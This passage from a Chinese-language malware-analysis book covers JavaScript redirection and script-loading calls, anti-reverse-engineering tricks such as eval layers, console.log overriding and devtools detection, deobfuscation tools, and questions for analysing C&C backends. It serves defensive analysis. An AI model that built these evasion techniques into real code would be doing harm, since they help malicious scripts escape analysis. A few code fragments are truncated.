window.location = '<new_url>';
-
window.location.href = '<new_url>';
-
window.location.assign('<new_url>');
-
window.location.replace('<new_url>'); // 替换浏览器历史中的当前页面
重要提示
window. 部分通常可以省略。
-
self.location = '<new_url>';
-
top.location = '<new_url>';
-
document.location = '<new_url>';
重要提示
它们也有可能的衍生技术,类似于前面提到的基于 window.location 的技术。
除此之外,还有另一种不使用 JavaScript 的方式来重定向用户:
- ;
外部脚本加载:
- var script = document.createElement('script'); script.src = ;
Web 请求到远程机器:
-
XMLHttpRequest对象:-
open: 用于创建请求的方法 -
send: 发送请求的方法 -
responseText: 用于访问服务器响应的属性
-
-
fetch: 一种较新的发送和处理 HTTP 请求的方式,在 ES6 中被标准化。
流行的库,如 jQuery 和自定义的异步 JavaScript 与 XML(Ajax)实现,通常在后台使用 XMLHttpRequest 和有时的 fetch 请求。
反逆向工程技巧
最常见的 JavaScript 混淆技术是使用一些变种,通过解密或从整数中组合来动态构建下一层 JavaScript 代码,随后使用 eval 函数执行或通过 document.write 更新文档:
图 10.24 – 混淆的基于 JavaScript 的威胁
然而,许多恶意软件作者广泛使用了其他一些技术:
-
将成功解密所需的块存储在单独的块或文件中:在这种情况下,仅获取解密函数可能不足,因为它依赖于某些其他数据片段的外部存储。
-
performance.now()或date.now()函数被使用。 -
arguments.callee属性。 -
console.log函数:window['console']['log'] = <other_function>;
另外,也可以按如下方式重新定义该函数:
var console = {};
console.log = <other_function>;
- 检测开发者工具:实现这一功能的方法有很多种,例如通过检查 Windows 的内外尺寸。
还有其他技术,但这些在恶意软件中使用得最为频繁。
静态与动态分析
随着网页开发的兴起,已经有许多工具可以用来分析和调试 JavaScript 代码——从带有语法高亮的基本文本编辑器到相当复杂的套件。然而,开发者的使用场景与逆向工程师的使用场景截然不同,这最终决定了他们使用的程序集合。
首先,为了加快分析速度,重构现有的 JavaScript 代码,使其逻辑更易于跟踪是非常有意义的。许多工具可以实现这一目标,它们包含基本的解包和去混淆逻辑,例如jsbeautifier。
就通用动态分析而言,像Chrome 开发者工具和Firefox 开发者工具这样的嵌入式浏览器工具集非常方便。使用它们时,需要编写一个小的 HTML 块来加载感兴趣的 JavaScript 文件。
在这里,JavaScript 代码被嵌入到页面本身:
图 10.25 – Chrome 开发者工具中嵌入式 JavaScript 代码的示例
这是 Firefox 中外部加载的 JavaScript 脚本:
图 10.26 – Firefox 开发者工具中外部 JavaScript 脚本的示例
此外,还有一些定制工具实现了恶意软件分析所需的功能。其中之一是Malzilla;这个免费的工具集结合了多个小工具,通过实现最常见的操作,旨在简化分析过程。虽然相对较旧,但仍被许多恶意软件分析师用来快速穿透混淆层并提取实际功能。
Malzilla 最常用的功能是可以拦截eval调用并将其参数输出到屏幕的模块。这个功能非常有用,因为大多数混淆技术都会在执行之前,通过此功能构建实际的有效载荷。这意味着这是解密或去混淆后的逻辑变得可用的地方,有时需要几次迭代。它还包括各种智能解码器,极大地加速了分析过程:
图 10.27 – Malzilla 解码器
另一个这样的工具的例子是较新的JSDetox项目。它旨在促进静态分析并处理 JavaScript 混淆技术。与 Malzilla 不同,它更侧重于 Linux 环境:
图 10.28 – 描述其功能的 JSDetox 网站
现在,让我们来谈谈后台代码。
C&C 背后——即使是恶意软件也有自己的后台
许多恶意软件家族使用某种形式的 C&C 服务器来接收来自恶意攻击者的更新或自定义命令,或者将被窃取的数据外泄。访问这些后台文件可以为研究人员和执法机构提供大量关于恶意软件如何运作以及受害者是谁的信息。有时,这甚至可以追溯到真正的攻击者!因此,正确且及时地分析从 C&C 获取的代码是一项研究人员必须时常面对的重要任务,所以最好做好准备!
需要关注的事项
只要分析员能访问代码,制定并优先处理待解答问题的清单是有意义的。通常,从后台可以获得以下信息:
-
它是实际的后台代码,还是一个将消息重定向到另一个位置的代理?恶意软件使用了什么 URI 或端口?
-
接受的请求或消息的格式是什么,是否涉及加密?
-
是否有任何命令可以自动或按需返回给恶意软件?
-
它是否能发出自毁命令,并且是否有任何形式的认证?
-
是否有供攻击者使用的网页接口或仪表盘?
-
日志、额外载荷和被窃取数据的存放位置在哪里?
-
是否有关于受影响用户的统计数据可用?
-
是否有任何日志能够揭示恶意软件作者的身份?SSH 或 RDP/自定义 RAT 日志可能有助于回答这个问题。
更高级的步骤包括寻找可能有助于识别未来 C&C 的通信模式。如果使用了 HTTPS 协议,检查相应证书的来源可能会有意义。
静态和动态分析
可以使用多种编程语言来实现后台。不管是 PHP、Perl、Python 还是其他语言,你都需要正确识别编程语言,并检查它是否是一个现成的框架。这个任务的第一部分可以通过查看相应的文件扩展名来解决。第二部分通常可以通过配置文件或目录来找到所使用的框架名称。
安装相应的 IDE 并在其中加载项目将大大加速进一步的分析,因为这将有助于高效的静态和动态分析。
其他脚本语言
本章介绍了当今使用最广泛的编程语言的常见示例。但如果你遇到一些更为特殊的语言,且没有现成的逐步教程该如何处理呢?或者,如果某种新的脚本语言变得越来越流行,广泛应用于各类系统,并因此被恶意行为者滥用该怎么办?不用慌张——我们已经总结了一些思路,帮助你成功分析任何新的威胁。
从哪里开始
在分析新威胁时,您应该执行以下操作:
-
确定编程语言。可以通过多种方式来完成,具体如下:
-
查看使用的文件扩展名
-
使用file工具
-
在线搜索头部签名
-
检查字符串,因为它们可能提供额外的线索。
-
-
如果脚本需要特定的操作系统,确保你已设置好适当的虚拟机镜像。
如果脚本语言是编译型的,可以寻找如反编译器或反汇编器等工具,以便进行静态分析。
-
如果代码没有被编译且已获取源代码,检查可用的最佳 IDE 或语法高亮工具。使用你偏好的支持调试的解决方案,使动态分析更加方便。
-
查找关于如何阅读代码的手册——无论是原版手册还是与相应工具一起提供的帮助文件。此外,检查是否有可用的 API。
-
如果代码是混淆的,可以尝试现有的反混淆工具(如果有的话)。总是可以使用代码美化工具和命名替换来使代码更具可读性。
-
检查是否有可用的动态分析监视器或沙箱,这些工具能够在代码执行时记录所有关键功能。
-
通常,先审查动态分析工具的输出,再转向静态分析,这样可以对至少部分功能有一个基本的了解。当你需要解密某些重要数据块,或想理解某段代码背后的逻辑时,应该使用动态分析。
一旦你能够分析代码,下一个重要步骤就是弄清楚该关注什么内容。
需要回答的问题
逆向工程不仅仅是一个工程任务——通常,它需要一定的研究和创造力来解决相应的挑战。
通常,分析时间会受到环境的限制。因此,要特别关注能够帮助回答报告中所需问题的功能。这部分可能比较棘手,因为如果没有全面查看,难以判断描述是否完整。搜索感兴趣功能的关键字,并检查它们的引用,应该是一个不错的起点。之后,可以检查是否有代码块被加密、编码或外部加载。保持标记准确将帮助你在整个项目中导航,并在必要时快速返回。
摘要
本章中,我们涵盖了多种脚本语言和文档宏,这些语言和宏通常被攻击者滥用。我们描述了恶意软件编写者在选择特定方法时的动机。此外,我们还探讨了如何解决每种语言特定挑战的现成方案,并总结了需要关注的功能。你还将深入了解多种工具,这些工具将大大加速分析过程。
最后,我们介绍了如何处理几乎任何脚本语言编写的恶意代码的通用方法,这些方法可能在你遇到的情况下会有所帮助。我们还讨论了高效分析恶意代码时需要遵循的行动顺序。
完成本章后,你将能够成功地对各种脚本进行静态和动态分析,绕过反汇编技术,并理解恶意软件的核心功能。
在 第十一章,剖析 Linux 和 IoT 恶意软件 中,我们将探讨针对各种基于 Linux 和物联网系统的威胁,学习如何分析这些威胁,并将如何延伸你从本章获得的部分知识。
第四部分:探索物联网及其他平台
本节主要关注非 Windows 平台,这些平台已逐渐成为恶意软件攻击的目标。通过阅读本节内容,你将理解其他 PC、移动设备和嵌入式系统面临的威胁背后的基本概念,并学习多种分析技术。
本节包含以下章节:
-
第十一章*, 剖析 Linux 和 IoT 恶意软件*
-
第十二章*, macOS 和 iOS 威胁概述*
-
第十三章*, 分析 Android 恶意软件样本*